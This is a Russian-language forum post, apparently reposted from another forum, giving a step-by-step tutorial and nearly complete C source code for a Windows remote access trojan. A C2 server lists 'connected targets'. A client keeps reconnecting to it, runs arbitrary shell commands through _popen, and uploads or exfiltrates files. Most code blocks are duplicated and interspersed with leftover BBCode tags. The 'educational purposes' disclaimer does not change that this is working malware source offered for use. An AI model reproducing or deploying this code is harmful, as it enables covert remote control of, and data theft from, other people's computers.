Сервер C2 У нас будет управляющий сервер (C2), к которому будут подключатся клиенты. Для начала создадим заголовочный файл tools.h, в нем будут некоторые функции, которые мы будем использовать в клиенте и сервере. код 1 #ifndef TOOLS_H #define TOOLS_H #define BUFLEN 8192 #define MEM_CHUNK 5 // Функция чтения/хранения stdin пока “\n” не будет найдено size_t get_line(char* const buf) { char c; // Длина команды в байтах size_t cmd_len = 0; // Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0 buf[cmd_len++] = ‘0’; // getchar() возвращает очередной символ из файла stdin, который считывается как переменная типа unsigned char c = getchar(); while (c != ‘\n’ && cmd_len < BUFLEN) { buf[cmd_len++] = c; c = getchar(); } return cmd_len; } // Функция сравнения двух строк int compare(const char* buf, const char* str) { for (int j = 0; str[j] != ‘\0’; j++) { if (str[j] != buf[j]) return 0; } return 1; } // Функция копирования int байтов в новый блок памяти static inline uint32_t ntohl_conv(char* const buf) { uint32_t new; memcpy(&new, buf, sizeof(new)); // Возвращаем переменную new после десериализации return ntohl(new); } #endif Code #ifndef TOOLS_H #define TOOLS_H #define BUFLEN 8192 #define MEM_CHUNK 5 // Функция чтения/хранения stdin пока “\n” не будет найдено size_t get_line(char* const buf) { char c; // Длина команды в байтах size_t cmd_len = 0; // Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0 buf[cmd_len++] = ‘0’; // getchar() возвращает очередной символ из файла stdin, который считывается как переменная типа unsigned char c = getchar(); while (c != ‘\n’ && cmd_len < BUFLEN) { buf[cmd_len++] = c; c = getchar(); } return cmd_len; } // Функция сравнения двух строк int compare(const char* buf, const char* str) { for (int j = 0; str[j] != ‘\0’; j++) { if (str[j] != buf[j]) return 0; } return 1; } // Функция копирования int байтов в новый блок памяти static inline uint32_t ntohl_conv(char* const buf) { uint32_t new; memcpy(&new, buf, sizeof(new)); // Возвращаем переменную new после десериализации return ntohl(new); } #endif Теперь создадим файл win_server.c, в котором добавим нужные библиотеки и создадим структуры с переменными: код 2 #include <WS2tcpip.h>[/SIZE][/B][/SIZE] [SIZE=3][B][SIZE=5] #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include «tools.h» #pragma comment(lib, «ws2_32.lib») typedef struct { // Переменная с айпи/именем хоста char* host; // Переменная с сокетом SOCKET sock; } Conn; typedef struct { // Мьютекс для проверки race condition HANDLE ghMutex; // Сокет сервера для приема подключений SOCKET listen_socket; // Массив Conn объектов/структур Conn* clients; // Выделенные блоки памяти size_t alloc; // К-во используемой памяти size_t size; } Conn_map; typedef int (*func)(char*, size_t, SOCKET); Code #include <WS2tcpip.h>[/SIZE][/B][/SIZE] [SIZE=3][B][SIZE=5] #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include «tools.h» #pragma comment(lib, «ws2_32.lib») typedef struct { // Переменная с айпи/именем хоста char* host; // Переменная с сокетом SOCKET sock; } Conn; typedef struct { // Мьютекс для проверки race condition HANDLE ghMutex; // Сокет сервера для приема подключений SOCKET listen_socket; // Массив Conn объектов/структур Conn* clients; // Выделенные блоки памяти size_t alloc; // К-во используемой памяти size_t size; } Conn_map; typedef int (*func)(char*, size_t, SOCKET); Напишем функции создания и закрытия сокета: код 3 // Функция закрытия сокета. void terminate_server(SOCKET socket, char* error) { int err_code = 0; if (error) { fprintf(stderr, «%s: ld\n», error, WSAGetLastError()); err_code = 1; } closesocket(socket); /* Вызов WSACleanup позволяет системе освободить задействованные ресурсы. Здесь та же политика что и с кучей — память, выделенная на куче, просто так не освобождается. Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено */ WSACleanup(); exit(err_code); } // Функция создания сокета. const SOCKET create_socket() { // Инициализируем winsock. WSADATA wsData; WORD ver = MAKEWORD(2, 2); /* Функция WSAStartup инициализирует структуру данных WSADATA. Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock, каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти, и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты */ int wsResult = WSAStartup(ver, &wsData); // Создаем сокет сервера. const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0); /* В случае возникновения ошибки на этапе создания сокета сервера выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает */ if (listen_socket == INVALID_SOCKET) { fprintf(stderr, «Socket creation failed: %ld\n», WSAGetLastError()); WSACleanup(); exit(1); } int optval = 1; if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0) terminate_server(listen_socket, «Error setting socket options»); return listen_socket; } Code // Функция закрытия сокета. void terminate_server(SOCKET socket, char* error) { int err_code = 0; if (error) { fprintf(stderr, «%s: ld\n», error, WSAGetLastError()); err_code = 1; } closesocket(socket); /* Вызов WSACleanup позволяет системе освободить задействованные ресурсы. Здесь та же политика что и с кучей — память, выделенная на куче, просто так не освобождается. Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено */ WSACleanup(); exit(err_code); } // Функция создания сокета. const SOCKET create_socket() { // Инициализируем winsock. WSADATA wsData; WORD ver = MAKEWORD(2, 2); /* Функция WSAStartup инициализирует структуру данных WSADATA. Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock, каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти, и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты */ int wsResult = WSAStartup(ver, &wsData); // Создаем сокет сервера. const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0); /* В случае возникновения ошибки на этапе создания сокета сервера выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает */ if (listen_socket == INVALID_SOCKET) { fprintf(stderr, «Socket creation failed: %ld\n», WSAGetLastError()); WSACleanup(); exit(1); } int optval = 1; if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0) terminate_server(listen_socket, «Error setting socket options»); return listen_socket; } Функция привязки сокета к указанному порту: код 4 // Функция для привязки сокета к указанному порту void bind_socket(const SOCKET listen_socket, const int port) { // Создаем hint структуру. struct sockaddr_in hint; hint.sin_family = AF_INET; // Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт hint.sin_port = htons(port); hint.sin_addr.S_un.S_addr = INADDR_ANY; // Привязка ip-адреса и порта к listen_socket. if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0) terminate_server(listen_socket, «Socket bind failed with error»); // Переводим listen_socket в состояние «прослушивания» if (listen(listen_socket, SOMAXCONN) != 0) terminate_server(listen_socket, «An error occured while placing the socket in listening state»); } Code // Функция для привязки сокета к указанному порту void bind_socket(const SOCKET listen_socket, const int port) { // Создаем hint структуру. struct sockaddr_in hint; hint.sin_family = AF_INET; // Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт hint.sin_port = htons(port); hint.sin_addr.S_un.S_addr = INADDR_ANY; // Привязка ip-адреса и порта к listen_socket. if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0) terminate_server(listen_socket, «Socket bind failed with error»); // Переводим listen_socket в состояние «прослушивания» if (listen(listen_socket, SOMAXCONN) != 0) terminate_server(listen_socket, «An error occured while placing the socket in listening state»); } Рекурсивный прием соединений: код 5 // Поток для рекурсивного приема соединений DWORD WINAPI accept_conns(LPVOID* lp_param) { Conn_map* conns = (Conn_map*)lp_param; conns->alloc = MEM_CHUNK; conns->size = 0; conns->clients = malloc(conns->alloc * sizeof(Conn)); conns->listen_socket = create_socket(); // Порт, на котором мы будем ждать подключений bind_socket(conns->listen_socket, 4443); while (1) { struct sockaddr_in client; int c_size = sizeof(client); // Сокет клиента. const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size); if (client_socket == INVALID_SOCKET) terminate_server(conns->listen_socket, «Error accepting client connection»); // Имя и порт клиента. char host[NI_MAXHOST] = { 0 }; char service[NI_MAXHOST] = { 0 }; if (conns->size == conns->alloc) conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn)); if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) { printf(«%s connected on port %s\n», host, service); } else { inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST); printf(«%s connected on port %hu\n», host, ntohs(client.sin_port)); } // Если delete_conn() выполняется — ждём, пока он закончит изменять conns->clients WaitForSingleObject(conns->ghMutex, INFINITE); // Добавляем имя хоста и объект client_socket в структуру Conn. conns->clients[conns->size].host = host; conns->clients[conns->size].sock = client_socket; conns->size++; ReleaseMutex(conns->ghMutex); } return -1; } Code // Поток для рекурсивного приема соединений DWORD WINAPI accept_conns(LPVOID* lp_param) { Conn_map* conns = (Conn_map*)lp_param; conns->alloc = MEM_CHUNK; conns->size = 0; conns->clients = malloc(conns->alloc * sizeof(Conn)); conns->listen_socket = create_socket(); // Порт, на котором мы будем ждать подключений bind_socket(conns->listen_socket, 4443); while (1) { struct sockaddr_in client; int c_size = sizeof(client); // Сокет клиента. const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size); if (client_socket == INVALID_SOCKET) terminate_server(conns->listen_socket, «Error accepting client connection»); // Имя и порт клиента. char host[NI_MAXHOST] = { 0 }; char service[NI_MAXHOST] = { 0 }; if (conns->size == conns->alloc) conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn)); if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) { printf(«%s connected on port %s\n», host, service); } else { inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST); printf(«%s connected on port %hu\n», host, ntohs(client.sin_port)); } // Если delete_conn() выполняется — ждём, пока он закончит изменять conns->clients WaitForSingleObject(conns->ghMutex, INFINITE); // Добавляем имя хоста и объект client_socket в структуру Conn. conns->clients[conns->size].host = host; conns->clients[conns->size].sock = client_socket; conns->size++; ReleaseMutex(conns->ghMutex); } return -1; } Список подключенных клиентов: код 6 // Функция, которая показывает список доступных подключений void list_connections(const Conn_map* conns) { printf(«\n\n—————————\n»); printf(«— CONNECTED TARGETS —\n»); printf(«— Hostname: ID —\n»); printf(«—————————\n\n»); if (conns->size) { for (size_t i = 0; i < conns->size; i++) { printf(«%s: %lu\n», conns->clients[i].host, i); } printf(«\n\n»); } else { printf(«No connected targets available.\n\n\n»); } } Code // Функция, которая показывает список доступных подключений void list_connections(const Conn_map* conns) { printf(«\n\n—————————\n»); printf(«— CONNECTED TARGETS —\n»); printf(«— Hostname: ID —\n»); printf(«—————————\n\n»); if (conns->size) { for (size_t i = 0; i < conns->size; i++) { printf(«%s: %lu\n», conns->clients[i].host, i); } printf(«\n\n»); } else { printf(«No connected targets available.\n\n\n»); } } Теперь создадим функции, которые будут отправлять команды клиенту: Скачивание файла: код 7 // Функция скачивания файла int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘4’ — код команды для скачивания файла buf[9] = ‘4’; // Отправляем код команды и имя файла if (send(client_socket, &buf[9], cmd_len, 0) < 1) return SOCKET_ERROR; FILE* fd = fopen(&buf[10], «wb»); // Получаем сериализованный размер файла if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1) return SOCKET_ERROR; // Десериализируем размер файла в байтах uint32_t f_size = ntohl_conv(&*(buf)); // Меняем i_result на true int i_result = 1; // Переменная для отслеживания загруженных данных long int total = 0; // Получить все байты/фрагменты файла и записать их в файл while (total != f_size && i_result > 0) { i_result = recv(client_socket, buf, BUFLEN, 0); fwrite(buf, 1, i_result, fd); total += i_result; } // Закрываем файл fclose(fd); return i_result; } Code // Функция скачивания файла int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘4’ — код команды для скачивания файла buf[9] = ‘4’; // Отправляем код команды и имя файла if (send(client_socket, &buf[9], cmd_len, 0) < 1) return SOCKET_ERROR; FILE* fd = fopen(&buf[10], «wb»); // Получаем сериализованный размер файла if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1) return SOCKET_ERROR; // Десериализируем размер файла в байтах uint32_t f_size = ntohl_conv(&*(buf)); // Меняем i_result на true int i_result = 1; // Переменная для отслеживания загруженных данных long int total = 0; // Получить все байты/фрагменты файла и записать их в файл while (total != f_size && i_result > 0) { i_result = recv(client_socket, buf, BUFLEN, 0); fwrite(buf, 1, i_result, fd); total += i_result; } // Закрываем файл fclose(fd); return i_result; } Отправка файла: код 8 // Функция отправки файла.[/B] [B] int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘3’ — код команды для отправки файла buf[7] = ‘3’; // Отправляем код команды и имя файла if (send(client_socket, &buf[7], cmd_len, 0) < 1) return SOCKET_ERROR; // Открываем файл FILE* fd = fopen(&buf[8], «rb»); uint32_t bytes = 0, f_size = 0; // Еслий файл существует: if (fd) { // Получаем размер файла fseek(fd, 0L, SEEK_END); f_size = ftell(fd); // Сериализация f_size. bytes = htonl(f_size); fseek(fd, 0L, SEEK_SET); } if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1) return SOCKET_ERROR; // Меняем i_result на true int i_result = 1; if (f_size) { // Рекурсивно читаем и отправляем байты файла клиенту int bytes_read; while (!feof(fd) && i_result > 0) { if (bytes_read = fread(buf, 1, BUFLEN, fd)) { // Отправляем байты файла. i_result = send(client_socket, buf, bytes_read, 0); } else { break; } } // Закрываем файл fclose(fd); } return i_result; } Code // Функция отправки файла.[/B] [B] int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘3’ — код команды для отправки файла buf[7] = ‘3’; // Отправляем код команды и имя файла if (send(client_socket, &buf[7], cmd_len, 0) < 1) return SOCKET_ERROR; // Открываем файл FILE* fd = fopen(&buf[8], «rb»); uint32_t bytes = 0, f_size = 0; // Еслий файл существует: if (fd) { // Получаем размер файла fseek(fd, 0L, SEEK_END); f_size = ftell(fd); // Сериализация f_size. bytes = htonl(f_size); fseek(fd, 0L, SEEK_SET); } if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1) return SOCKET_ERROR; // Меняем i_result на true int i_result = 1; if (f_size) { // Рекурсивно читаем и отправляем байты файла клиенту int bytes_read; while (!feof(fd) && i_result > 0) { if (bytes_read = fread(buf, 1, BUFLEN, fd)) { // Отправляем байты файла. i_result = send(client_socket, buf, bytes_read, 0); } else { break; } } // Закрываем файл fclose(fd); } return i_result; } Завершение работы RAT-a: код 9 // Функция закрытия соединения с клиентом[/B] [B] int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘2’ код команды для удаления/завершения процесса RAT-a send(client_socket, «2», cmd_len, 0); return 0; } Code // Функция закрытия соединения с клиентом[/B] [B] int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘2’ код команды для удаления/завершения процесса RAT-a send(client_socket, «2», cmd_len, 0); return 0; } Смена директории: код 10 // Функция смены директории.[/B][/B] [B][B] int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘1’ — код команды для смены директории buf[3] = ‘1’; // Отправка кода команды и названия директории if (send(client_socket, &buf[3], cmd_len, 0) < 1) return SOCKET_ERROR; return 1; } Code // Функция смены директории.[/B][/B] [B][B] int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // ‘1’ — код команды для смены директории buf[3] = ‘1’; // Отправка кода команды и названия директории if (send(client_socket, &buf[3], cmd_len, 0) < 1) return SOCKET_ERROR; return 1; } Функция отправки команд клиенту: код 11 [CODE] // Функция отправки команд клиенту int send_cmd(char* const buf, const size_t cmd_len, const SOCKET client_socket) { // Отправляем команду. if (send(client_socket, buf, cmd_len, 0) < 1) return SOCKET_ERROR; // Получаем размер выходного потока сериализованных байтов if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1) return SOCKET_ERROR; // Десериализация размера потока uint32_t s_size = ntohl_conv(&*(buf)); // Меняем i_result на true int i_result = 1; // Получаем ответ команды и записываем его в stdout do { if ((i_result = recv(client_socket, buf, BUFLEN, 0)) < 1) return i_result; fwrite(buf, 1, i_result, stdout); } while ((s_size -= i_result) > 0); // Символ \n нужен для выравнивания командной строки fputc(‘\n’, stdout); return i_result; }[/CODE] Функция парсинга команд: код 12 [CODE] // Функция парсинга команд const func parse_cmd(char* const buf) { // Массив команд. const char commands[4][10] = { «cd «, «exit», «upload «, «download » }; // Массив указателей функций каждой команды const func func_array[4] = { &client_cd, &terminate_client, &send_file, &recv_file }; for (int i = 0; i < 4; i++) { if (compare(buf, commands[i])) return func_array[i]; } // Если команда не обнаружилась в commands — отправляем/выполняем ее на клиенте через _popen() return &send_cmd; }[/CODE] Закрытие соединений: код 13 [CODE] // Функция для изменения размера массива conns/удаления и закрытия соединений. void delete_conn(Conn_map* conns, const int client_id) { // Если accept_conns() выполняется — ждём, пока завершится conns->clients. WaitForSingleObject(conns->ghMutex, INFINITE); if (conns->clients[client_id].sock) closesocket(conns->clients[client_id].sock); // Если есть более одного подключения: if (conns->size > 1) { int max_index = conns->size-1; for (size_t i = client_id; i < max_index; i++) { conns->clients[i].sock = conns->clients[i + 1].sock; conns->clients[i].host = conns->clients[i + 1].host; } conns->clients[max_index].sock = 0; conns->clients[max_index].host = NULL; } conns->size—; // ReleaseMutex нужен, чтобы accept_conns() мог продолжать выполняться. ReleaseMutex(conns->ghMutex); }[/CODE] Взаимодействие с соединениями: код 14 [CODE] // Функция для «сворачивания» соединения и вызова команд. void interact(Conn_map* conns, char* const buf, const int client_id) { const SOCKET client_socket = conns->clients[client_id].sock; char* client_host = conns->clients[client_id].host; // Меняем i_result на true. int i_result = 1; // Получаем и парсим команды /отправляем их клиенту. while (i_result > 0) { printf(«%s // «, client_host); // Обнуляем все байты в буфере. memset(buf, ‘\0’, BUFLEN); size_t cmd_len = get_line(buf); char* cmd = &buf[1]; if (cmd_len > 1) { if (compare(cmd, «background»)) { return; } else { // Если команда спарсилась успешно вызываем её функцию или отправляем её клиенту. const func target_func = parse_cmd(cmd); i_result = target_func(buf, cmd_len, client_socket); } } } // Если клиент отключился/вышел — удаляем соединение. delete_conn(conns, client_id); printf(«Client: \»%s\» is no longer connected.\n\n», client_host); }[/CODE] Выполнение команд через Popen: код 15 [CODE] // Функция выполнения команд. void exec_cmd(char* const buf) { // Вызываем Popen чтобы выполнить команду и читаем её ответ. FILE* fpipe = _popen(buf, «r»); fseek(fpipe, 0, SEEK_END); size_t cmd_len = ftell(fpipe); fseek(fpipe, 0, SEEK_SET); // Пишем ответ команды в stdout. int rb = 0; do { rb = fread(buf, 1, BUFLEN, fpipe); fwrite(buf, 1, rb, stdout); } while (rb == BUFLEN); // Символ \n нужен для выравнивания командной строки. fputc(‘\n’, stdout); // Закрываем пайп. _pclose(fpipe); }[/CODE] Функция Main, в которой мы запускаем C2 сервер и ждем подключений: код 16 [CODE] // Основная функция для парсинга команд и вызова остальных функций. int main(void) { Conn_map conns; conns.ghMutex = CreateMutex(NULL, FALSE, NULL); HANDLE acp_thread = CreateThread(0, 0, accept_conns, &conns, 0, 0); HANDLE hColor; hColor = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hColor, 9); while (1) { printf(«CyberSec RAT\n[]==> «); // BUFLEN + 1, чтобы строка всегда оканчивалась нулем char buf[BUFLEN + 1] = { 0 }; size_t cmd_len = get_line(buf); char* cmd = &buf[1]; if (cmd_len > 1) { if (compare(cmd, «exit»)) { // Выйти из приема подключений TerminateThread(acp_thread, 0); // Если есть какие-либо коннекты, закрываем их перед выходом if (conns.size) { for (size_t i = 0; i < conns.size; i++) { closesocket(conns.clients[i].sock); } // Освобождаем выделенную память free(conns.clients); } terminate_server(conns.listen_socket, NULL); } else if (compare(cmd, «cd «)) { // Изменение текущей директории _chdir(&cmd[3]); } else if (compare(cmd, «list»)) { // Список всех подключений list_connections(&conns); } else if (compare(cmd, «interact «)) { // Взаимодействие с клиентом int client_id; client_id = atoi(&cmd[9]); if (!conns.size || client_id < 0 || client_id > conns.size — 1) { printf(«Invalid client identifier.\n»); } else { interact(&conns, buf, client_id); } } else { // Выполняем команду exec_cmd(cmd); } } } return -1; }[/CODE] На этом код сервера можно считать полностью готовым. Я использую IDE CodeBlocks, поэтому в настройках компиляции нужно указать библиотеку lws2_32, без нее IDE будет выдавать ошибки (для клиента нужно будет сделать этот шаг снова). После успешной компиляции можно проверить работоспособность сервера используя NetCat: Конекты приходят и с ними можно взаимодействовать, а это значит, что сервер работает. Клиент В коде клиента мы будем использовать заголовочный файл tools.h, который создали в начале статьи. Через #include добавляем нужные библиотеки и создаем функцию create_socket: код 17 [CODE] #include <ws2tcpip.h>[/B] [B] #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include «tools.h» #pragma comment(lib, «Ws2_32.lib») // Функция создания сокета const SOCKET create_socket() { // Инициализируем winsock WSADATA wsData; WORD ver = MAKEWORD(2, 2); if (WSAStartup(ver, &wsData) != 0) return INVALID_SOCKET; // Создаем сокет const SOCKET connect_socket = socket(AF_INET, SOCK_STREAM, 0); if (connect_socket == INVALID_SOCKET) { WSACleanup(); return connect_socket; } return connect_socket; }[/CODE] Функция подключения к C2, которая будет принимать переменные host и port: код 18 [CODE] // Функция подключения сокета к c2 серверу.[/B] [B] int c2_connect(const SOCKET connect_socket, const char* host, const int port) { struct sockaddr_in hint; hint.sin_family = AF_INET; hint.sin_port = htons(port); inet_pton(AF_INET, host, &hint.sin_addr); // Подключение к серверу, на котором запущен c2 if (connect(connect_socket, (struct sockaddr*)&hint, sizeof(hint)) == SOCKET_ERROR) { closesocket(connect_socket); return SOCKET_ERROR; } return 1; }[/CODE] Функция получения файла с С2: код 19 [CODE] // Функция получения файла с C2[/B] [B] int recv_file(char* const buf, const char* filename, const SOCKET connect_socket) { FILE* fd = fopen(filename, «wb»); // Получаем размер файла if (recv(connect_socket, buf, sizeof(uint32_t), 0) < 1) return SOCKET_ERROR; // Сериализуем f_size. uint32_t f_size = ntohl_conv(&*(buf)); // Получаем байты и записываем их в файл. int i_result = 1; long int total = 0; while (total != f_size && i_result > 0) { i_result = recv(connect_socket, buf, BUFLEN, 0); fwrite(buf, 1, i_result, fd); total += i_result; } fclose(fd); return i_result; }[/CODE] Отправка файла на С2: код 20 [CODE] // Функция отправки файла на c2[/B] [B] int send_file(const char* filename, const SOCKET connect_socket, char* const buf) { // Открываем файл FILE* fd = fopen(filename, «rb»); uint32_t bytes = 0, f_size = 0; if (fd) { // Считаем размер файла fseek(fd, 0L, SEEK_END); f_size = ftell(fd); // Сериализуем f_size. bytes = htonl(f_size); fseek(fd, 0L, SEEK_SET); } if (send(connect_socket, (char*)&bytes, sizeof(bytes), 0) < 1) return SOCKET_ERROR; int i_result = 1; // Рекурсивно читаем и отправляем байты файла на c2 сервер. if (f_size) { int bytes_read; while (!feof(fd) && i_result > 0) { // Читаем файл, пока не дойдем до конца if (bytes_read = fread(buf, 1, BUFLEN, fd)) { // Отправляем байты i_result = send(connect_socket, buf, bytes_read, 0); } else { break; } } // Закрываем файл fclose(fd); } return i_result; }[/CODE] Выполнение команд через Popen: код 21 [CODE] // Функция выполнения команд[/B] [B] int exec_cmd(const SOCKET connect_socket, char* const buf) { // Вызываем Popen для выполнения команд и читаем результат. strcat(buf, » 2>&1″); FILE* fpipe = _popen(buf, «r»); int bytes_read; if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) { bytes_read = 1; buf[0] = ‘\0’; } uint32_t s_size = bytes_read; const int chunk = 24576; int capacity = chunk; char* output = malloc(capacity); strcpy(output, buf); // Читаем и сохраняем stdout в output. while (1) { if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) break; // Если output достигнет максимального объема в памяти. if ((s_size += bytes_read) == capacity) output = realloc(output, (capacity += chunk)); strcat(output, buf); } // Сериализация s_size. uint32_t bytes = htonl(s_size); // Отправляем байты if (send(connect_socket, (char*)&bytes, sizeof(uint32_t), 0) < 1) return SOCKET_ERROR; int i_result = send(connect_socket, output, s_size, 0); free(output); // Закрываем пайп. _pclose(fpipe); return i_result; }[/CODE] Функция Main, в ней мы будем использовать кейсы для каждой команды, а если подключится к серверу не получиться – ждем 8 секунд и пробуем еще раз: код 22 [CODE] // Основная функция для подключения к серверу c2 и парсинга команд[/B] [B] int main(void) { // Порт и айпи c2 сервера. const char host[] = «127.0.0.1»; const int port = 4443; while (1) { // Создаем сокет. const SOCKET connect_socket = create_socket(); /* При подключении к c2 запускаем цикл для приема/парсинга команд. В случае возникновения ошибки (потеря соединения и т.д.) — прерываем цикл и повторно его перезапускаем. Оператор switch будет анализировать и выполнять функции в соответствии с полученным кодом. */ if (connect_socket != INVALID_SOCKET) { int i_result = c2_connect(connect_socket, host, port); while (i_result > 0) { // BUFLEN + 1 + 4, для null байта и конкатенации «2>&1» char buf[BUFLEN + 5] = { 0 }; if (recv(connect_socket, buf, BUFLEN, 0) < 1) break; // buf[0] — код команды, а &buf[1] ее аргумент switch (buf[0]) { case ‘0’: i_result = exec_cmd(connect_socket, &buf[1]); break; case ‘1’: // Вызываем функцию смены директории _chdir(&buf[1]); break; case ‘2’: // Выход return 0; case ‘3’: // Получаем файл с c2 сервера i_result = recv_file(buf, &buf[1], connect_socket); break; case ‘4’: // Отправляем файл на c2 сервер i_result = send_file(&buf[1], connect_socket, buf); break; } } } // Если подключится не удалось ждем 8 секунд и пробуем еще раз Sleep(8000); } return -1; }[/CODE] Скриншоты работы: Вес сервера 96 килобайт, а вес клиента 86 килобайт: Данная статья написана только в образовательных целях, автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий. Статья не моя, взял с форума cybersec, оформил по красоте и залил для вас на лолз.